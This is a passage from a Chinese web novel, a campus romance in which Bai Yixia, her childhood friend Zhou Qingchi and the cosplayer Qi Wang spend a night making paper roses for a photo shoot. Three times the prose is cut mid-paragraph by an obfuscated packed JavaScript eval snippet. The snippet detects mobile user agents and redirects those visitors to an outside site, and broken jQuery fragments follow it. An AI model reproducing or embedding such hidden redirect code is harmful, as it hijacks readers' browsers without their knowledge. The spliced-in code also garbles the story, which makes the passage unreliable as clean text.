柏以夏焉巴巴地往校门口蹭去,一路上在“质问”和“不质问”之间做斗争。 下午三点过,太阳还毒着,没那么多人愿意出门。校门口的车站那里只零散地站了三两个人。 柏以夏没纠结出来,索性不打算去问了。 恶狠狠地磨着牙想:周清池这个坏东西,消息爱回不回!这个家你也爱回不回吧! 柏以夏心不在焉地走到公交站台,眼见都要走出去了,她才猛地想起自己要等祁望一起去摄影棚。 “咳。” 站在最边上的人轻咳了一声,柏以夏还当是自己挡了别人的路,刚打算让开,自己眼前就被递了一杯冒着冷气的葡萄沙冰。 拿着奶茶杯的那只手柏以夏熟悉得要命,此刻正因为冷气红了指尖。 她惊喜地猛一抬头,正巧对上周清池带笑的双眸。 “小周哥!”柏以夏惊呼道。 “你怎么会在这啊小周哥?这么这周也回来了?”柏以夏乐得没去接那杯冰沙,握着周清池的手臂,眼里亮得过分。 周清池手腕一转将杯壁轻轻贴在她的脸颊上,道:“不是说了吗?明天见。” 柏以夏开心得要死,她被冰得呼了一口气,但也来不及计较这件事了,语气里全是喜悦:“原来是字面意思的''明天见''!我还以为是说要视频呢!” 她握着周清池的手臂歪了歪头,眼睛笑得弯弯的,“你太好了吧小周哥。” 周清池看她笑起来,心里满足,正要开口说话,就听见不远处传来一声招呼。 “小夏!” 他笑意一顿,顺着声音看去。 祁望正往两人这边走来,他那头银毛在阳光下过于耀眼,看得人有点眼睛疼。 周清池不动声色地垂下视线,看着还腻在自己身边的柏以夏,“这是那天喊你''小夏''的那个朋友?” 柏以夏看见周清池之后乐得找不着边了,差点就把祁望给忘了,此刻正心虚地插着吸管。 听见周清池的话之后,她疑惑了一下朋友前面那串过长的定语,但出于对周清池的无条件信任,这点疑惑很快被带过。 她点点头,“对,就是那个朋友。” 说完,柏以夏朝祁望挥挥手,“这里这里!” 接着,她就看见祁望兴冲冲地走了过来,但走了一半的时候看见了周清池,脚步微顿。 柏以夏还当他认生,主动介绍道:“这是周清池,是我很好的朋友。” 这句介绍显然给了祁望一个很好的安慰,他挂起笑,朝周清池伸出手,“你好,我叫祁望,也是小夏的朋友。” 周清池也不知道是在想什么,抬眼看了祁望一眼后才握住他的手,嘴角勾起一抹笑,温声道:“你好。” 15. 第十五章 熔岩巧克力 祁望被这句你好镇住了,倒不是说周清池面相有多可怕,只是他看得出来虽然这人带笑,眼里却没多少和善。 但他也没将人晾在原地,伸手握住周清池的手,笑道:“你好你好,我叫祁望。” 周清池颔首,“我知道,小夏和我提过你。说,你cos很厉害。” 这对祁望来说倒是个惊喜,他没忍住笑得更盛,朗声道:“是吗?” 柏以夏最能叭叭,认识祁望之后就在群里嚷嚷了一番。听着这两人半生不熟地聊天,她突然觉得气氛有些莫名,谈不上冷却也热不起来。 柏以夏挠挠脸颊,在两人对话的空隙里插了话,“是的是的,我还去找了你之前的COS看呢。都很还原很好看。” 得到她的夸奖,祁望不好意思地偏了下头。 柏以夏话毕叼着吸管思索怎么和周清池说,只是还没想好,就听见他说,“那我们走吧小夏,回家。” 要是往常,柏以夏早就乐呵地跟在他身后走了,但今天有了别的安排,她不自觉地咬着吸管,呐呐道:“小周哥,我这周不回家。” 周清池抬脚的动作一顿,“不回家?” “对。”柏以夏不慌不忙地给他解释了一下缘由,“时间有点紧,所以打算尽早开始。” 周清池闻言朝祁望飞去一个眼神,似乎是在说他不靠谱。他点点头,看向柏以夏时又换了一副表情,十分抱歉,“看来我又打扰你的安排了。” 柏以夏真是怕了他这个样子,生怕下一句就是“对不起”,她摇摇头,“哪有,这也是下午才决定的。” 想到这里,她又不满地垮下嘴角,“再说了,但凡你回了我下午给你发的消息,你也就知道了这件事情。” 周清池没想到她是这个反应,从口袋里摸出自己的手机,无奈地往她面前一递:“早上急着去上课,没充满电,刚下公交就关机了。” “真的吗?那这是?”柏以夏狐疑地瞧着他,晃了晃手中的葡萄冰沙。 周清池又摸出几张零钱,“刚好带了现金。” “那你打算在这里盲狙我吗?”柏以夏哭笑不得,“万一我这周不打算回家,连校门都不出呢?” “这不是正巧吗?我买完回来正打算随机问一个面善的同学借手机给你打电话,谁知道刚走到这里就看见你低着头出来了。”周清池一摊手,“眼睛都要长到手机上去了。” 柏以夏一哽,心道:我那么心不在焉到底是因为谁啊?!! 她轻哼了一声,从自己的包里掏出充电宝递给他,“给,面善的同学借你续电。” 她先前一直握着冰杯,指尖凉凉的,周清池接过充电宝的时候正巧触碰到了,给手机插上电之后见柏以夏像玩一样地吮着吸管,半天什么都没喝到。习惯性地伸出手,“不喝就把杯子给我,很冰。” 柏以夏不以为意,嗯了一声之后就将杯子塞到他手中。抬眸却对上了祁望的视线,他眼中明显带着惊讶,抿着唇一言不发。 柏以夏一惊,方才意识到这举动可能在其他人眼里不太平常。 可对她来说,从小就是这样的。周清池是他们三人里年纪最大的,虽然只比柏以夏大了四个多月,但大人们总喜欢说,“这是清池哥哥。哥哥要照顾好妹妹。” 加之柏以夏又是最小的那个,脾气又软和,比起聂嘉沅那个长大点就死活不愿意喊“清池哥哥”的犟种,她真切地被这个哥哥照顾了很久。 好像从记事起,直到现在。 柏以夏想着想着心中又憋闷了起来,周清池是不是照顾人上瘾了,才会对自己这么好。早知道小时候就不那么老实了,像聂嘉沅一样或许还能在周清池心中占一个不一样的位置,起码不是妹妹的位置。 一旁的周清池也看到了祁望惊讶的目光,他弯着眼睛笑了一下,“不好意思,没想到会有别的朋友一起,所以只买了一杯。” 祁望扯着嘴角,“没事,之前刚吃完冰,这会儿也不太想吃。” 柏以夏听见这话来了精神,“对。小周哥,你有机会的话一定要进我学校去玩,到时候我请你吃书院咖啡厅的芒果冰,可好吃了。” 周清池点点头,“会有机会的。”他话锋一转,“但你今天已经吃了冰,这个就不能吃了。” 闻言,柏以夏瞪大了眼睛,旁边的祁望也提了一口气。 “那这个怎么办?好浪费。” 柏以夏还想再争取一下,伸着手去够杯子,周清池却把手高高举起,另一只空着的手在她头上敲了一下,“还能怎么样,等它化了喝果汁。” 柏以夏不满地撇了撇嘴,祁望松了一口气。 正巧这个时候公交车驶了过来,柏以夏心中不舍,目光频繁落在周清池的脸上,“你要回去了吗小周哥?记得给妈妈打电话让阿姨把你的饭煮上。” 要是知道周清池今天回来,自己肯定不会这么着急就和祁望去搭建场景。但话都已经说了,总不好再反悔,柏以夏默默地叹了一口气。 谁知周清池却问道:“我能和你们一起去吗?” 这话一出,柏以夏倏地抬起头看他,格外惊喜。祁望也是一顿,目光在两人身上转了一圈,虽然有些不乐意,但还是说道:“你是小夏的朋友,当然可以。” 得到了正主的同意,柏以夏兴奋起来,“而且也算是多了一个帮手。小周哥动手能力也很厉害呢!” 祁望试图加入两人,但根本笑不出来。 周五出去玩的人多,三人上车之后也没找到座位,只好握着把手栏杆。 柏以夏被两位男生护在中间,虽然有些拥挤,嘴巴也闲不下来,絮絮叨叨地说着等会儿可能要做的东西。祁望一一地回答了她的疑问,却有些心不在焉,反复地想着两人的关系。 马路上突然冒出个小孩子,司机踩了急刹,车内的人都控制不住地往前倒。 祁望心思不再自己身上,握着把手的手松了一下,被这急刹一带,猝不及防地往前倒。他几乎都要等着跌倒了,却没想到自己肩膀被一只手撑起,身后的背包被人拉住。 仔细一看才发现是柏以夏撑住了自己,她一手死握着栏杆,一手扶在他的肩膀上,秀气的眉毛微微拧着,“在愣什么神呢?差点就摔了。” 身后的背包一沉,周清池也松了手,淡声道:“小心一点。” 祁望没管周清池,只愣愣地看着柏以夏,半晌憋出一句,“小夏,你力气真大。” 柏以夏颇为得意地仰着下巴,“那是。你是不知道,我还有几个大设备在家里呢。偶尔出去玩的时候,拍视频什么的要抗几个小时呢。” 周清池闻言一笑,“拍得不知道什么,也就林姨乐意,还给你刻了光盘整齐放着。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16138960|180390||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 柏以夏不满地撅了下嘴,用手捣了他一下,“那怎么啦?我妈妈爱我!” “嗯,爱你。”周清池垂眸看着她,轻声道。 祁望眉心一跳,这句话听得他心惊。 但柏以夏这会儿没往别处想,她眉头拧起,只觉得周清池在揶揄她,“怎么感觉你这话不是特别真情实意呢?” 周清池别开视线,唇角挑起,道:“哪有?” “啊?你就有!你都在笑了!”在公共场所,柏以夏只能压着声音咧咧他。 刚巧公交车到站,周清池看了一眼站台,一手搭在柏以夏的肩上,将她往车门带,“行了行了,林姨爱你。爱你。咱们到站了,快下去。” 他走到车门口时先一步下去,又回身托着柏以夏的手,嘴里还不住地念着小心点小心点。 祁望跟在他们身后,不自然地拽了一下背包带子,舔了舔嘴唇,笑道:“你们关系真好。” 柏以夏下了车就轻轻拍开周清池的手。闻言也笑了起来,“当然啦。我们从小一起长大呢。门对门的好邻居。” 柏以夏没有将自己暗恋事迹到处传播的毛病,更何况正主还在这里,明说也不太可能。 又察觉着祁望对自己好像有那么点不太对劲,可这也不好直接点出来。只得先这样讲着。 她咂摸着这样说应该没什么毛病,却没想到祁望闻言眼神亮了一下,而周清池举着被她拍开的手顿了好一会儿。 柏以夏还沉浸在自己的机灵当中,一转头就看见周清池抬起的手掌,她纳闷地看了他一眼,试探地和他击掌:“耶!庆祝我们安全抵达!” 周清池:“……” 周清池将手放下,顺着她的话道:“耶。” 一路上看着他们互动的祁望此时也不知道自己到底应该提起一口气还是再松一口气。 柏以夏道:“祁望,麻烦你带一下路啦。” “怎么能说麻烦,是我先麻烦你的。”祁望迅速回复,他拿着手机找到地址,“不远,就在前面那栋写字楼里。” 柏以夏抬头看去,他们学校不算特别偏远,附近也有一个创业园区,高立的写字楼不少。 她记得自己老柏说过,这边的租金也不算便宜。 柏以夏眨眨眼,扭头和周清池对上目光:这也是个不差钱的主。 周清池无所谓地耸了耸肩。 柏以夏想了想祁望那一屋子的C服和定制的道具,也确实不像是会差钱的人。 正这么想着,前面有人喊了一声祁望的名字。 三人齐齐看过去,是一位二十五六岁左右的女人。她穿着随意,捡了一头利落的齐肩短发,正朝着这里挥手。 她显然是专门在这里等祁望的。 柏以夏交友广泛,从不在外面有一点羞怯,用聂嘉沅的话来说,简直是一个社交悍匪。 社交悍匪没一点拘谨,也举起手朝女人挥了挥,嘴甜地喊道:“姐姐好!” 女人听见这声后笑容大了一些,但目光瞥到意料之外的周清池之后又迟疑了一下。 她看了看祁望和柏以夏之间的距离,又看了看柏以夏和周清池之间的距离,脸上闪过一丝迷茫。 等到祁望走到自己身边时,她抓着祁望的背包带子,把人生生拽矮了一截,悄声问道:“不是?你要当小三啊?” 16. 第十六章 他好茶呀 老板租了半层楼做影棚,三人跟着进去的时候还看见有好些人在忙碌。 柏以夏拍东西没有定数,最喜欢的是在外面拍实景,自然的光线有她喜欢的柔和感。 不过因为母亲的工作,她倒也是经常进出摄影棚。这会儿正好奇地四处张望。 老板带着他们三个进了一个大房间,左半边赫然是已经做好的塞尔戈维官图场景。 柏以夏扯着周清池的袖子兴致勃勃地给他讲场景上每个图案的意义。 老板捞着祁望站在后面的位置,还是压着声音,“你这怎么个事?咱不做插足别人感情的事啊。” 祁望有些无语,“他们只是朋友。” 老板看向那两人,周清池看起来不像是喜欢玩游戏的人,对着场景图有些茫然,但却依旧纵着柏以夏在自己耳边絮絮叨叨地讲着。时不时还提出点问题增加参与感。 “长了眼睛的人都能看出来他们关系不一般。”老板拍拍祁望的肩膀,“骗骗别人就行了弟,别把自己骗到了。” 祁望嘴唇微动,却还是闭嘴沉默着。 老板无奈地看了他一眼,走上前去招呼两人。 “怎么样?我的手艺还不错吧?” 柏以夏惊讶地看向老板,赞叹道:“姐姐,这是你一个人做的吗?” 老板露出骄傲的表情,点点头。 “也太厉害了吧!” 没人会不喜欢听见别人的夸赞,老板险些没绷住,她抬手撩了撩头发,“这都是现成的东西,也不比较简单了。听祁望说,你要自己搭景?” 柏以夏道:“嗯嗯,时间太紧了,一时半会儿找不到合适的。”她顿了一下,“不过其实也没必要按照我的图来。” 祁望本来正在确认现场能用的一些东西,闻言攥着手机就冲到柏以夏面前,“要的,小夏老师的图很好看,肯定会有很多人喜欢。” 柏以夏被他突然激动的情绪弄得有些茫然,忙不迭地点头。 周清池不动声色地往前站了一步,将柏以夏挡在自己身侧,“现在就开始吗?” 最终祁望定下来的那张图是关于蔷薇花架的。白色的围墙下粲然开放地红蔷薇在风中摇曳,塞尔戈维微扬着脸,伸手虚虚地托着一朵花。橘黄色的夕阳洒落在他的脸上,为银白的发梢添了一抹暖调。 花架好搭,摄影棚里有现成的工具。但那大片的蔷薇花就有些麻烦了。 老板皱着眉头,“嘶,这花,不能直接去买吗?” 柏以夏摇摇头,“很少有大片的蔷薇花卖,不好搭架子。” 她对着自己的画琢磨了几下,“而且其实这花我一开始也没确定到底是什么,只是觉得红色的花冲击力强一些。” “不过现在觉得红蔷薇很好。” 柏以夏想了下,扭头问道:“姐姐,你这里有那种皱纹纸吗?” 老板明白她是想自己做,东西她这里倒是有,之前也有人需要,所以备了不少。只是这纸做的,多少都有点假了。 柏以夏当然知道纸花再怎么真也充当不了真花,她笑道:“没关系,画图只是为了确定主题。塞尔戈维的角色故事里本来就有虚妄这一说,用纸花还能更好地体现。” 说干就干,几个人都是行动力很强的人。 周清池扛了铁杆过来,正打算搭架子,祁望就接过他手里的东西,“我来吧,家里之前种过,也算是有点经验。” 柏以夏闻言偷偷笑了一下,论经验,周清池更胜一筹。周家的小阳台上摆满了周清池的爱花爱草,靠着墙的那边周清池种了一墙的木香花,架子什么的都是周清池全都亲力亲为。 周清池没多大的好胜心,多半也不会和祁望争什么。但柏以夏还是好奇地扭过头去看两人。 果不其然,周清池把东西交给祁望,“那就麻烦你了。” 看着一副无所谓的温和模样,但柏以夏清楚这是因为祁望是才认识的人,周清池通常对外人都有一种温和的疏离。 她弯着眸子笑着,朗声喊道:“那小周哥你来帮我吧,我要做好多好多呢。” 柏以夏手巧,这点尤其体现在做手工和做甜点上。就说几句话的时间里,她手上已经做好了一朵蔷薇,不凑近了细看也是能以假乱真了。 周清池听见她的邀请,眼神往身形一顿的祁望身上一扫,道:“好,就来。” 祁望有些怔愣,扶着铁杆往柏以夏的方向看了一下,颇为失望地抿了下嘴唇。 周清池本来还想说两句什么,但他不清楚柏以夏的想法,还是闭了嘴。 “小夏老师。”周清池坐在柏以夏对面,捏着一张纸,拖着长音喊道,“这个怎么做呀?教教我呗。” 他手指细长有力,捏着纸张把玩,指尖沾了些碎渣子,柏以夏被成功蛊惑到了。她瞟了好几眼才慢慢开口,“很简单的,先剪花瓣,再用胶水粘起来,要做三层哦。” 周清池能自己一个人做一桌子菜,有闲心的时候还能雕点花,柏以夏不操心他的动手能力。边和他说着,手上边操作演示着,“诺,就这样。” 她笑着把一朵花怼到周清池眼前,洋洋得意地晃着脑袋,“怎么样?我厉害吧?” 周清池总是各位被她的笑容吸引,眼神先是落在她扬起的嘴角上,才慢慢挪到眼前的花朵上。 “好看,小夏特别厉害。” 他的声音略压低了一些,说得缓慢,仿佛是在耳边一样。 柏以夏轻咳一声,空出来的那只手揉了揉耳朵,嘟囔道:“那你也快做吧。保守估计我们需要五百朵。” 花朵做得不算大,每一个都才手掌大小,要想达到效果,自然是越多越好。 周清池显然没想到需要这么多,他眼神空白了一瞬,“……上贼船了。” 柏以夏窃笑道:“船长已经开船了,你跑不掉了。” 周清池的手法不太熟练,慢吞吞地才做好一朵,他捏着花往柏以夏面前一丢,“好吧船长。” 两人都没忍住笑了起来,气氛格外欢快。 老板需要时不时地去外面盯一盯场子。一进来就察觉到了两个人之间不一般的氛围,再一扭头,祁望活像个苦力工一样在另一边缠着铁杆,看着好不可怜。 “……” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16138961|180390||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “我说,你是在给他们俩创造机会吗?”老板蹭到祁望身边,恨铁不成钢地捣了他一下。 祁望焉焉地往柏以夏那边看了一眼,把最后一根铁杆缠好,往墙上一搁,深叹一口气,小声道:“其实我在卖弄力气。” 老板眼里冒出疑问。 祁望愁道:“忘记了小夏力气本来就很大,她可能不在意这个吧。” 老板轻嘶一声,姐弟俩同款愁眉不展。 那边的两人没注意到姐弟两人在发愁。 柏以夏已经完全沉浸在做手工的乐趣里了,三两下就能做好一朵,放在她旁边的箱子里已经堆了很多朵蔷薇了。 她有时候顺手乱放,自己周围几乎是堆满了花朵。 周清池抬眼注视着这一幕。白炽灯的灯光打在柏以夏身上,照得她格外白皙,微垂的睫毛在脸上扫下一片小阴影。 她做事尤其认真,偶尔手下不准会微微蹙起眉头,被胶水烫到时会抿起嘴唇,眼睛眨呀眨的。 总之哪里都很好看,都很可爱。 周清池看得出神,伸手去拿胶枪的时候一手抓到前面,被灼热的温度烫得轻呼了一声。 “嘶。” 柏以夏听出他声音里带着痛意,倏地丢下东西起身,“小周哥,你怎么了?” 被熔化的胶水黏在手指上,轻易就烫红了一片。但幸好周清池撤手及时,也仅仅只是烫红了。 “没事,烫到——”周清池话没能说完。 柏以夏已经绕到了他的身侧,牵起他被烫到的那只手,轻轻地朝着泛红的地方吹着气。 等到胶的温度冷却下去,柏以夏苦着脸把胶小心翼翼地揭下来,小声地念叨着:“这个烫到了可痛了,幸好你没有烫出泡来,怎么不小心一点嘛。” 周清池手腕一转,反倒是把柏以夏的手握进手心中,眼神一错不错地看着她。 柏以夏此刻担心的情绪占了主阵地,见他不说话看着自己,忧虑道:“很痛吗?你要不要先休息一下。” 周清池别开视线,手指在她手背上划了一下,似乎有些无奈,“我没事,你也小心一点吧。” “哼哼。”柏以夏眉尖一挑,“我已经很熟练了,才不会被烫到。” 周清池放开她的手,煞有介事地点点头,毫无感情地捧场道:“是是是,小夏老师天下第一。” 柏以夏又被他逗笑,替他把刚刚那朵半成品做好,却没放到箱子里,而是别在耳朵边上。 花没做枝干,只孤零零的一朵,压根就放不住,周清池没让柏以夏失望,自己抬手按住,眼睛一转,瞧着她,“怎么?要给我簪花?” 他微仰着头,眼神往上扬时简直像是在调情,柏以夏后知后觉地脸红起来,没好意思再看他。 “安慰一下伤员而已。” 伤员无奈地看了看自己泛红已消的手指,闷声笑了起来。 祁望刚好把白墙和花架固定好,回身便看到这一幕,瞬间心梗:好像玩不过周清池,他好茶。 周清池不知道祁望在心里编排自己,看着柏以夏头顶翘起来的一簇头发悄摸地叹了一口气。 17. 第十七章 不做小三 晚上八点,老板关了店,又去楼下小吃街买了几分吃的回去。她原本以为三个年轻人在室内坐了三四个小时,怎么着都会有点疲惫了。 结果刚走到门口就听见里面传来一阵爆笑。 推门一看,之前还分了两个桌子的三人挨到一起去了。祁望也不知道从哪里翻出了她的投影仪,关了大灯放了一部喜剧电影。 她到的时候正巧演到最好笑的地方,柏以夏和祁望笑得扒着桌子抖,周清池倒是稳重,目光没落到幕布上,伸着手拦在柏以夏身后。 老板默不作声地观察了一下,发现周清池也不完全是不笑的。他看向剧情时的表情没什么起伏,仿佛不是在看喜剧片,但当柏以夏扯着他的袖子笑的时候,他就会盯着她看几秒钟,然后才生出点笑意,嘴里像是附和似地说上几句。 比起另外两个乐得直不起腰的,周清池敏锐很多,他似有所察地扭过头,正巧对老板的视线,冲她友好地笑了一下。 老板想着既然已经被看到了,那也没什么小心翼翼的必要了,她拎着两兜子小吃走进去,打趣道:“两位,速度挺快,这就完工啦?” 听见她的声音柏以夏和祁望都是一抖。接着,柏以夏从桌子下面捡起来自己弄掉的半成品,祁望不太好意思地把自己手里捏坏的花瓣丢进垃圾桶去。 柏以夏弯着眼睛看老板,“姐姐。” 老板笑道:“给你们带了点吃的回来,先吃东西吧。” 她不知道逛了几个摊子,带回来五六种小吃。柏以夏很捧场地围上去,“哇,谢谢姐姐。” 祁望去收投影了,老板看了一眼他的背影,还是打算给自己弟弟讨个巧。她从里面拎出一个小袋子,往柏以夏那儿推,“这个是给小夏的,是章鱼小丸子,多加酱的。” 柏以夏惊喜地抬头看着她。 老板施施然一笑,指了指祁望,“嗐,我本来说去饭店给你们整一桌子菜。结果那小子说晚上可能不想吃那些,正好楼下那边就有一条小吃街。” “也是他给我说的,说你喜欢吃多加酱的章鱼小丸子。” 柏以夏闻言愣住了,带着疑惑看向祁望。 祁望有些埋怨地瞪了老板一眼,低头整理着手中的东西,解释道:“嗯……其实我经常在学校外面那个小吃街碰到你,每次看见你的时候你好像都买的是这个……” 他越说声音越小,最后抬手挠了挠后脖颈,破罐子破摔地抬起头,洒脱道:“总是看见,所以就留心记住了。” “哦、哦。”柏以夏戳着圆滚滚的小丸子,应和了两声,但还是笑着回复道,“我确实喜欢吃这个,谢谢啦。” “没事没事。” 看气氛莫名有些奇怪,老板知道自己说错话了,她干咳一声,“你们是差不多结束了?” 柏以夏嘴里还嚼着东西,不方便说话,便推了推身边的周清池。周清池看了她一眼,道:“还没有,估计得熬夜了。” “熬夜?要通宵?” 柏以夏猛猛点头,有些含糊地说道:“花还没弄完呢,花弄完之后还得缠枝,然后造型。嗯,事情还是蛮多的。” 老板睨了祁望两眼,恨铁不成钢地说道:“啧,死小子就爱赶ddl是吧?还累得别人和你一起熬。” 祁望何其无辜地看着她,小声反驳:“也不是我的错吧,谁知道这个服装这么久才定制好。” 姐弟俩你一言我一句地吵了几个来回,倒是将屋子里有些沉闷的气氛吵散了。柏以夏拦着老板,对祁望使了个眼色,示意他赶快吃点东西。自己挽着老板的手坐到一边,询问起这家摄影棚的事情来。 老板从善如流地从祁望那里顺走一串烤肉,想了想,“其实也没什么,就是不想去给别人当牛马,自己专业又是这方面的。索性就问家里要了点资金,自己来当老板啦。” 她得意地挑了挑眉:“最开始他们还怀疑我做不成呢。说半个月就得倒闭,想不到吧,我这家店都开了快一年了。” 柏以夏眼神发亮地看着她,俨然一副敬佩的模样。 “对了小夏,祁望说你摄影也很厉害,要不毕业了来我这?”老板说完就惊觉背后一凉,她茫然地抬头看了看,只看见周清池有一个细微的扭头动作。 她颇感无语:祁望不行,我也不行吗?喝醋长大的吧这男的。 老板偷偷瞥了一眼柏以夏,指望她能解救能安慰一下自己。 然而柏以夏还在专心致志地吃东西,没察觉到自己身边风起云涌,甚至还非常明朗地拒绝了她:“我不是专业的啦姐姐。就是平常自己爱玩所以才随便拍拍。” 老板本来也是找点话题说,被拒绝了也不觉得有什么,只给柏以夏说要是改变心意了就和她说,这个影棚可以给她留一席之地。 吃完饭以后已经是九点半了,老板看着活力满满的三人,不禁感叹自己是真的老了,这个点居然就已经困得要命了。 她打着哈欠问道:“你们不累吗?这一下午的重复性无意义劳作。” 柏以夏已经重新上工了,她手中动作不停,神采甚至比刚才看喜剧片的时候更好了。 “不困。”柏以夏转着剪刀,冲着老板笑,“姐姐,你现在要关门了吗?我们可能要通宵。” 祁望丝毫不顾姐姐的死活,“没关系,你可以把钥匙给我,我到时候替你锁门。” 老板白了他一眼,“用得着你吗?我去休息室睡就行了,你们悠着点吧。” 她朝祁望勾勾手,示意他更自己来。出了房间,她勾着祁望的脖子走到角落,一边留意着那边的动向,一边小声说道:“你没戏了弟弟,他们俩一看就是一对啊。” 祁望一出来就听见她这样说,气得简直想要扭头就走,但也不知道这个女人哪里来的那么大力气,死死地箍着他的脖子。 祁望走不掉,他又气又烦地低声骂道:“我知道,您能不能放开我,说不定还有点机会。” 老板看怪人一样看着他,恐吓道:“你不许去破坏人家关系,不许做小三。不然我就去告诉小姨和姨夫。” 祁望忍了又忍,还是没忍住,“我不会的,再说了,他们不是一对。”他叹了一口气,“小夏很坦荡,要是周清池真的是她男朋友,一定会在刚见面的时候就直接了当的介绍。” 而不是只说是朋友。再说了,柏以夏又不是什么笨蛋,自己表现得那么明显,估计早就被她猜出来了。 祁望央求道:“姐,我求你,我有自己的打算,绝对合法且道德,你别瞎掺合行吗?” 老板怀疑地看了他几眼,最后还是勉为其难地点了点头。 - 祁望把自己姐姐送进休息室后就连忙回到了房间里。他又不是什么傻子,也同样处于暗恋的阶段,怎么可能看不出另 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16138962|180390||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 外两个人的状态。 房间里有三个人,三个人都在搞暗恋。 他几不可查地叹了一口气,暗恋是什么很好搞的吗?真的好愁人啊。 柏以夏不是夜猫子,但时间慢慢走着,撑过十一点之后她就精神起来了,手下的动作动得飞快,几乎是周清池和祁望的两倍。 祁望搬了个凳子坐在到了他们俩那张桌子边上,时不时就偷偷摸摸地抬头看看两人。 柏以夏和周清池都是做事靠谱的人,根本没有什么闲心聊天,顶多就是丢花的时候抬头会对上目光,那时候两人就会对着笑起来。 祁望一边对柏以夏的速度叹为观止,一边又觉得自己好像真的没戏。心不在焉地做废第四朵花后,他掏出手机点开备忘录在里面修修改改。 做手工是一个很废腰废脖子的事情,柏以夏有些疲倦地晃了晃脖子,看向身侧半人高的箱子,红色的花朵已经堆了三分之二,估计把箱子装满也就够了。 她站起身打算活动活动,侧目看见祁望有些沮丧地低着头。和祁望推测的一样,柏以夏多少看得出来他对自己的心思,但也不阻碍她觉得祁望是一个值得结交的朋友。 COS也很厉害。 但要是这种事情被当事人点出来,总会很不好意思。换位思考一下,要是有天周清池点出自己暗恋他的事情,那…… 真是完蛋!柏以夏在心里唾弃自己,怎么能觉得好呢?万一周清池很反感,毕业之后直接留在B市不回来了怎么办? 所以柏以夏犹豫再犹豫,还是打算装作不知道。 她移开视线,打算看看周清池的进度。谁知刚把头扭过去,就看见周清池已经趴在桌子上了,他一只手上还虚虚地捏着一朵花。 柏以夏不清楚周清池是什么时候的车过来的,但看他现在的困倦,也能猜到一路上不算舒适。 她放轻脚步走到周清池身边,俯身凑到他耳边小声地喊道:“小周哥?周清池?” 周清池只是睫毛颤了颤,手调整了一下姿势,像是更深地睡了过去。手中捏着的花轻轻地落到桌子上。 这对于柏以夏来说有些新奇。大多时候都是她睡得昏死过去一样,好像从来都没有见过周清池睡着的模样。她想多看看周清池这不常见的样子,但半蹲的姿势不太舒服,柏以夏干脆坐在了周清池旁边的地上。 这样的话,她就比周清池要低一些了。但从小学毕业之后,周清池就一直比她高了,十几年来,她一直是以这样的角度在看他。 直到上了大学,他们不能再天天见面。但好在现在的科技那么发达,手机视频足够便利。 于是柏以夏后来都是平视着周清池。连视频的时候,做什么都可以,但只要一扭头就能望到周清池的眼睛里,看见他眼里的光点,光点是另一端的自己。 柏以夏的目光从周清池的眉眼缓缓落到轻合的嘴唇上。这人平时作息健康得要命,看得出每天的饮水量都很达标,嘴唇并没有干涩起皮,反倒是柔软水润的。 柏以夏一手按在桌子上将自己撑起来,她弯腰凝视着周清池,像是在思考着什么一样。半晌后,她缓缓凑近周清池,安静地在他露出的那半张脸上轻轻亲了一下。 另一边刚巧抬起的头的祁望心碎了八瓣,他险些一口气没上来。带着些无措,他慌忙地低下头,看着自己备忘录的内容,又开始删删减减。 18. 第十八章 木香花束 时间陡然跳过零点,柏以夏不好意思地结束这个短暂的偷亲,悄咪咪地往祁望那边看了一眼。 还好还好,他在玩手机。 周清池坐的位置冷风有点过于足了,柏以夏看见裸露在外的手臂,伸手摸了一下,冰凉一片。 她站起身小幅度地蹬了蹬有些麻木的腿,视线在屋内寻觅着能做被子的东西。但这不愧是摄影棚,除了几块打光板之外没别的东西了。 柏以夏挠挠头,看了一圈之后打起了褶皱纸的主意。比起普通的卡纸,这种纸也算的上柔软,不至于搭在人身上直愣愣的一片。 祁望本来还在伤感,耳边突然响起了窸窸窣窣的声音,他抬头看过去的时候,柏以夏正捏着褶皱纸的一角往周清池身上搭。 被人猝不及防地撞见这么傻的一幕,柏以夏也有些尴尬,她笑了一下,匆匆地把纸往周清池身上一糊就算完事。 一回头才发现给人脸都盖下面了,又着急忙慌地把褶皱纸掀开。 祁望看得好笑,小声问她:“是有点冷吗?” 柏以夏点点头,指了指空调口,同样很小声地回复他:“感觉这里好像是对着风口的,我怕他感冒了。” 祁望既有些心梗又觉得柏以夏实在是一个特别好的人,于是起身走到门外去。 柏以夏不明所以地跟了上去,从门口探出个脑袋,看见他在地上的纸箱里翻翻找找。 不多时,祁望从里面刨出一个联名款的抱枕。柏以夏看得眼熟,直到他顺着拉链把抱枕展开成一个小被子时才想起来,周清池好像之前送给她过一个一模一样的。 